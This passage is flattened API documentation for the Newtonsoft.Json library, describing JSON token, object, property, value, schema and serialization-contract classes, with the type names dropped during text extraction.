tokens of the . Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. An of containing this token, and all the descendant tokens of the . Adds the specified content as children of this . The content to be added. Adds the specified content as the first children of this . The content to be added. Creates a that can be used to add tokens to the . A that is ready to have content written to it. Replaces the child nodes of this token with the specified content. The content. Removes the child nodes from this token. Merge the specified content into this . The content to be merged. Merge the specified content into this using . The content to be merged. The used to merge the content. Gets the count of child JSON tokens. The count of child JSON tokens. Represents a collection of objects. The type of token. An empty collection of objects. Initializes a new instance of the struct. The enumerable. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Gets the of with the specified key. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Returns a hash code for this instance. A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. Represents a JSON object. Gets the container's children tokens. The container's children tokens. Occurs when a property value changes. Occurs when a property value is changing. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the object. Initializes a new instance of the class with the specified content. The contents of the object. Gets the node type for this . The type. Gets an of of this object's properties. An of of this object's properties. Gets a with the specified name. The property name. A with the specified name or null. Gets the with the specified name. The exact name will be searched for first and if no matching property is found then the will be used to match a property. The property name. One of the enumeration values that specifies how the strings will be compared. A matched with the specified name or null. Gets a of of this object's property values. A of of this object's property values. Gets the with the specified key. The with the specified key. Gets or sets the with the specified property name. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . is not valid JSON. Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . is not valid JSON. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. is not valid JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. is not valid JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified property name. Name of the property. The with the specified property name. Gets the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. One of the enumeration values that specifies how the strings will be compared. The with the specified property name. Tries to get the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. The value. One of the enumeration values that specifies how the strings will be compared. true if a value was successfully retrieved; otherwise, false. Adds the specified property name. Name of the property. The value. Determines whether the JSON object has the specified property name. Name of the property. true if the JSON object has the specified property name; otherwise, false. Removes the property with the specified name. Name of the property. true if item was successfully removed; otherwise, false. Tries to get the with the specified property name. Name of the property. The value. true if a value was successfully retrieved; otherwise, false. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Raises the event with the provided arguments. Name of the property. Raises the event with the provided arguments. Name of the property. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Represents a JSON property. Gets the container's children tokens. The container's children tokens. Gets the property name. The property name. Gets or sets the property value. The property value. Initializes a new instance of the class from another object. A object to copy from. Gets the node type for this . The type. Initializes a new instance of the class. The property name. The property content. Initializes a new instance of the class. The property name. The property content. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a view of a . Initializes a new instance of the class. The name. When overridden in a derived class, returns whether resetting an object changes its value. true if resetting the component changes its value; otherwise, false. The component to test for reset capability. When overridden in a derived class, gets the current value of the property on a component. The value of a property for a given component. The component with the property for which to retrieve the value. When overridden in a derived class, resets the value for this property of the component to the default value. The component with the property value that is to be reset to the default value. When overridden in a derived class, sets the value of the component to a different value. The component with the property value that is to be set. The new value. When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. true if the property should be persisted; otherwise, false. The component with the property to be examined for persistence. When overridden in a derived class, gets the type of the component this property is bound to. A that represents the type of component this property is bound to. When the or methods are invoked, the object specified might be an instance of this type. When overridden in a derived class, gets a value indicating whether this property is read-only. true if the property is read-only; otherwise, false. When overridden in a derived class, gets the type of the property. A that represents the type of the property. Gets the hash code for the name of the member. The hash code for the name of the member. Represents a raw JSON string. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class. The raw json. Creates an instance of with the content of the reader's current token. The reader. An instance of with the content of the reader's current token. Specifies the settings used when loading JSON. Initializes a new instance of the class. Gets or sets how JSON comments are handled when loading JSON. The default value is . The JSON comment handling. Gets or sets how JSON line info is handled when loading JSON. The default value is . The JSON line info handling. Gets or sets how duplicate property names in JSON objects are handled when loading JSON. The default value is . The JSON duplicate property name handling. Specifies the settings used when merging JSON. Initializes a new instance of the class. Gets or sets the method used when merging JSON arrays. The method used when merging JSON arrays. Gets or sets how null value properties are merged. How null value properties are merged. Gets or sets the comparison used to match property names while merging. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. The comparison used to match property names while merging. Specifies the settings used when selecting JSON. Gets or sets a flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. A flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. Represents an abstract JSON token. Gets a comparer that can compare two tokens for value equality. A that can compare two nodes for value equality. Gets or sets the parent. The parent. Gets the root of this . The root of this . Gets the node type for this . The type. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Compares the values of two tokens, including the values of all descendant tokens. The first to compare. The second to compare. true if the tokens are equal; otherwise false. Gets the next sibling token of this node. The that contains the next sibling token. Gets the previous sibling token of this node. The that contains the previous sibling token. Gets the path of the JSON token. Adds the specified content immediately after this token. A content object that contains simple content or a collection of content objects to be added after this token. Adds the specified content immediately before this token. A content object that contains simple content or a collection of content objects to be added before this token. Returns a collection of the ancestor tokens of this token. A collection of the ancestor tokens of this token. Returns a collection of tokens that contain this token, and the ancestors of this token. A collection of tokens that contain this token, and the ancestors of this token. Returns a collection of the sibling tokens after this token, in document order. A collection of the sibling tokens after this tokens, in document order. Returns a collection of the sibling tokens before this token, in document order. A collection of the sibling tokens before this token, in document order. Gets the with the specified key. The with the specified key. Gets the with the specified key converted to the specified type. The type to convert the token to. The token key. The converted token value. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child tokens of this token, in document order, filtered by the specified type. The type to filter the child tokens on. A containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Removes this token from its parent. Replaces this token with the specified token. The value. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Returns the indented JSON for this token. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . The indented JSON for this token. Returns the JSON for this token using the given formatting and converters. Indicates how the output should be formatted. A collection of s which will be used when writing the token. The JSON for this token using the given formatting and converters. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to []. The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from [] to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Creates a for this token. A that can be used to read this token and its descendants. Creates a from an object. The object that will be used to create . A with the value of the specified object. Creates a from an object using the specified . The object that will be used to create . The that will be used when reading the object. A with the value of the specified object. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . An positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from a . A positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A , or null. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. A . Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. The used to select tokens. A . Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. The used to select tokens. An of that contains the selected elements. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Creates a new instance of the . All child tokens are recursively cloned. A new instance of the . Adds an object to the annotation list of this . The annotation to add. Get the first annotation object of the specified type from this . The type of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets the first annotation object of the specified type from this . The of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets a collection of annotations of the specified type for this . The type of the annotations to retrieve. An that contains the annotations for this . Gets a collection of annotations of the specified type for this . The of the annotations to retrieve. An of that contains the annotations that match the specified type for this . Removes the annotations of the specified type from this . The type of annotations to remove. Removes the annotations of the specified type from this . The of annotations to remove. Compares tokens to determine whether they are equal. Determines whether the specified objects are equal. The first object of type to compare. The second object of type to compare. true if the specified objects are equal; otherwise, false. Returns a hash code for the specified object. The for which a hash code is to be returned. A hash code for the specified object. The type of is a reference type and is null. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Gets the at the reader's current position. Initializes a new instance of the class. The token to read from. Initializes a new instance of the class. The token to read from. The initial path of the token. It is prepended to the returned . Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Gets the path of the current JSON token. Specifies the type of token. No token type has been set. A JSON object. A JSON array. A JSON constructor. A JSON object property. A comment. An integer value. A float value. A string value. A boolean value. A null value. An undefined value. A date value. A raw JSON value. A collection of bytes value. A Guid value. A Uri value. A TimeSpan value. Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Gets the at the writer's current position. Gets the token being written. The token being written. Initializes a new instance of the class writing to the given . The container being written to. Initializes a new instance of the class. Flushes whatever is in the buffer to the underlying . Closes this writer. If is set to true, the JSON is auto-completed. Setting to true has no additional effect, since the underlying is a type that cannot be closed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end. The token. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes a value. An error will be raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Represents a value in JSON (string, integer, date, etc). Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Creates a comment with the given value. The value. A comment with the given value. Creates a string with the given value. The value. A string with the given value. Creates a null value. A null value. Creates a undefined value. A undefined value. Gets the node type for this . The type. Gets or sets the underlying token value. The underlying token value. Writes this token to a . A into which this method will write. A collection of s which will be used when writing the token. Indicates whether the current object is equal to another object of the same type. true if the current object is equal to the parameter; otherwise, false. An object to compare with this object. Determines whether the specified is equal to the current . The to compare with the current . true if the specified is equal to the current ; otherwise, false. Serves as a hash function for a particular type. A hash code for the current . Returns a that represents this instance. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . A that represents this instance. Returns a that represents this instance. The format. A that represents this instance. Returns a that represents this instance. The format provider. A that represents this instance. Returns a that represents this instance. The format. The format provider. A that represents this instance. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. An object to compare with this instance. A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: Value Meaning Less than zero This instance is less than . Zero This instance is equal to . Greater than zero This instance is greater than . is not of the same type as this instance. Specifies how line information is handled when loading JSON. Ignore line information. Load line information. Specifies how JSON arrays are merged together. Concatenate arrays. Union arrays, skipping items that already exist. Replace all array items. Merge array items together, matched by index. Specifies how null value properties are merged. The content's null value properties will be ignored during merging. The content's null value properties will be merged. Specifies the member serialization options for the . All public members are serialized by default. Members can be excluded using or . This is the default member serialization mode. Only members marked with or are serialized. This member serialization mode can also be set by marking the class with . All public and private fields are serialized. Members can be excluded using or . This member serialization mode can also be set by marking the class with and setting IgnoreSerializableAttribute on to false. Specifies metadata property handling options for the . Read metadata properties located at the start of a JSON object. Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. Do not try to read metadata properties. Specifies missing member handling options for the . Ignore a missing member and do not attempt to deserialize it. Throw a when a missing member is encountered during deserialization. Specifies null value handling options for the . Include null values when serializing and deserializing objects. Ignore null values when serializing and deserializing objects. Specifies how object creation is handled by the . Reuse existing objects, create new objects when needed. Only reuse existing objects. Always create new objects. Specifies reference handling options for the . Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . Do not preserve references when serializing types. Preserve references when serializing into a JSON object structure. Preserve references when serializing into a JSON array structure. Preserve references when serializing. Specifies reference loop handling options for the . Throw a when a loop is encountered. Ignore loop references and do not serialize. Serialize loop references. Indicating whether a property is required. The property is not required. The default state. The property must be defined in JSON but can be a null value. The property must be defined in JSON and cannot be a null value. The property is not required but it cannot be a null value. Contains the JSON schema extension methods. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. true if the specified is valid; otherwise, false. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. When this method returns, contains any error messages generated while validating. true if the specified is valid; otherwise, false. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. The validation event handler. An in-memory representation of a JSON Schema. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the id. Gets or sets the title. Gets or sets whether the object is required. Gets or sets whether the object is read-only. Gets or sets whether the object is visible to users. Gets or sets whether the object is transient. Gets or sets the description of the object. Gets or sets the types of values allowed by the object. The type. Gets or sets the pattern. The pattern. Gets or sets the minimum length. The minimum length. Gets or sets the maximum length. The maximum length. Gets or sets a number that the value should be divisible by. A number that the value should be divisible by. Gets or sets the minimum. The minimum. Gets or sets the maximum. The maximum. Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). A flag indicating whether the value can not equal the number defined by the minimum attribute (). Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). A flag indicating whether the value can not equal the number defined by the maximum attribute (). Gets or sets the minimum number of items. The minimum number of items. Gets or sets the maximum number of items. The maximum number of items. Gets or sets the of items. The of items. Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . true if items are validated using their array position; otherwise, false. Gets or sets the of additional items. The of additional items. Gets or sets a value indicating whether additional items are allowed. true if additional items are allowed; otherwise, false. Gets or sets whether the array items must be unique. Gets or sets the of properties. The of properties. Gets or sets the of additional properties. The of additional properties. Gets or sets the pattern properties. The pattern properties. Gets or sets a value indicating whether additional properties are allowed. true if additional properties are allowed; otherwise, false. Gets or sets the required property if this property is present. The required property if this property is present. Gets or sets the a collection of valid enum values allowed. A collection of valid enum values allowed. Gets or sets disallowed types. The disallowed types. Gets or sets the default value. The default value. Gets or sets the collection of that this schema extends. The collection of that this schema extends. Gets or sets the format. The format. Initializes a new instance of the class. Reads a from the specified . The containing the JSON Schema to read. The object representing the JSON Schema. Reads a from the specified . The containing the JSON Schema to read. The to use when resolving schema references. The object representing the JSON Schema. Load a from a string that contains JSON Schema. A that contains JSON Schema. A populated from the string that contains JSON Schema. Load a from a string that contains JSON Schema using the specified . A that contains JSON Schema. The resolver. A populated from the string that contains JSON Schema. Writes this schema to a . A into which this method will write. Writes this schema to a using the specified . A into which this method will write. The resolver used. Returns a that represents the current . A that represents the current . Returns detailed information about the schema exception. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Generates a from a specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets how undefined schemas are handled by the serializer. Gets or sets the contract resolver. The contract resolver. Generate a from the specified type. The type to generate a from. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. A generated from the specified type. Generate a from the specified type. The type to generate a from. Specify whether the generated root will be nullable. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. Specify whether the generated root will be nullable. A generated from the specified type. Resolves from an id. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the loaded schemas. The loaded schemas. Initializes a new instance of the class. Gets a for the specified reference. The id. A for the specified reference. The value types allowed by the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. No type specified. String type. Float type. Integer type. Boolean type. Object type. Array type. Null type. Any type. Specifies undefined schema Id handling options for the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Do not infer a schema Id. Use the .NET type name as the schema Id. Use the assembly qualified .NET type name as the schema Id. Returns detailed information related to the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the associated with the validation error. The JsonSchemaException associated with the validation error. Gets the path of the JSON location where the validation error occurred. The path of the JSON location where the validation error occurred. Gets the text description corresponding to the validation error. The text description. Represents the callback method that will handle JSON schema validation events and the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. A camel case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Resolves member mappings for a type, camel casing property names. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used by to resolve a for a given . Gets a value indicating whether members are being get and set using dynamic code generation. This value is determined by the runtime permissions available. true if using dynamic code generation; otherwise, false. Gets or sets the default members search flags. The default members search flags. Gets or sets a value indicating whether compiler generated members should be serialized. true if serialized compiler generated members; otherwise, false. Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. true if the interface will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. true if the attribute will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. The naming strategy used to resolve how property names and dictionary keys are serialized. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Gets the serializable members for the type. The type to get serializable members for. The serializable members for the type. Creates a for the given type. Type of the object. A for the given type. Creates the constructor parameters. The constructor to create properties for. The type's member properties. Properties for the given . Creates a for the given . The matching member property. The constructor parameter. A created for the given . Resolves the default for the contract. Type of the object. The contract's default . Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Determines which contract type is created for the given type. Type of the object. A for the given type. Creates properties for the given . The type to create properties for. /// The member serialization mode for the type. Properties for the given . Creates the used by the serializer to get and set values from a member. The member. The used by the serializer to get and set values from a member. Creates a for the given . The member's parent . The member to create a for. A created for the given . Resolves the name of the property. Name of the property. Resolved name of the property. Resolves the name of the extension data. By default no changes are made to extension data names. Name of the extension data. Resolved name of the extension data. Resolves the key of the dictionary. By default is used to resolve dictionary keys. Key of the dictionary. Resolved key of the dictionary. Gets the resolved name of the property. Name of the property. Name of the property. The default naming strategy. Property names and dictionary keys are unchanged. Resolves the specified property name. The property name to resolve. The resolved property name. The default serialization binder used when resolving and loading classes from type names. Initializes a new instance of the class. When overridden in a derived class, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object. The type of the object the formatter creates a new instance of. When overridden in a derived class, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Represents a trace writer that writes to the application's instances. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Get and set values for a using dynamic methods. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Provides information surrounding an error. Gets the error. The error. Gets the original object that caused the error. The original object that caused the error. Gets the member that caused the error. The member that caused the error. Gets the path of the JSON location where the error occurred. The path of the JSON location where the error occurred. Gets or sets a value indicating whether this is handled. true if handled; otherwise, false. Provides data for the Error event. Gets the current object the error event is being raised against. The current object the error event is being raised against. Gets the error context. The error context. Initializes a new instance of the class. The current object. The error context. Get and set values for a using dynamic methods. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Provides methods to get attributes. Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Used by to resolve a for a given . Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used to resolve references when serializing and deserializing JSON by the . Resolves a reference to its object. The serialization context. The reference to resolve. The object that was resolved from the reference. Gets the reference for the specified object. The serialization context. The object to get a reference for. The reference to the object. Determines whether the specified object is referenced. The serialization context. The object to test for a reference. true if the specified object is referenced; otherwise, false. Adds a reference to the specified object. The serialization context. The reference. The object to reference. Allows users to control class loading and mandate what class to load. When implemented, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object The type of the object the formatter creates a new instance of. When implemented, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Represents a trace writer. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Provides methods to get and set values. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Contract details for a used by the . Gets the of the collection items. The of the collection items. Gets a value indicating whether the collection type is a multidimensional array. true if the collection type is a multidimensional array; otherwise, false. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the collection values. true if the creator has a parameter with the collection values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the default collection items . The converter. Gets or sets a value indicating whether the collection items preserve object references. true if collection items preserve object references; otherwise, false. Gets or sets the collection item reference loop handling. The reference loop handling. Gets or sets the collection item type name handling. The type name handling. Initializes a new instance of the class. The underlying type for the contract. Handles serialization callback events. The object that raised the callback event. The streaming context. Handles serialization error callback events. The object that raised the callback event. The streaming context. The error context. Sets extension data for an object during deserialization. The object to 